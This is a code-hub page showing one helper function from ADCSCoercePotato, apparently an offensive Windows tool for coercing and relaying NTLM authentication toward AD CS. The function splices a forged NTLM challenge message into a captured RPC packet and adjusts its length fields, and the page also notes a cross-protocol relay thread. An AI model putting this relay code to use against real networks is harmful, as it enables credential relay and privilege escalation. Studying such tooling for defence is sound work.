MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato / ForgeAndAlterType2Rpc

Function ForgeAndAlterType2Rpc

ADCSCoercePotato.cpp:51–60  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

49extern int findNTLMBytes(char* bytes, int len);
50extern void DumpHex(const void* data, size_t size);
51int ForgeAndAlterType2Rpc(char* rpcType2Packet, int rpcType2PacketLen, int authIndexStart, char* ntlmType2, int ntlmType2Len, char* newRpcType2Packet) {
52 short* fragLen = (short*)rpcType2Packet + 4;
53 short* authLen = (short*)rpcType2Packet + 5;
54 int ntlmPacketLen = rpcType2PacketLen - authIndexStart;
55 *fragLen = *fragLen - ntlmPacketLen + ntlmType2Len;
56 *authLen = ntlmType2Len;
57 memcpy(newRpcType2Packet, rpcType2Packet, authIndexStart);
58 memcpy(newRpcType2Packet + authIndexStart, ntlmType2, ntlmType2Len);
59 return (authIndexStart + ntlmType2Len);
60}
61
62DWORD WINAPI ThreadHTTPCrossProtocolRelay(LPVOID lpParam);
63struct THREAD_PARAMETERS

Callers 1

startCOMListenerMethod · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected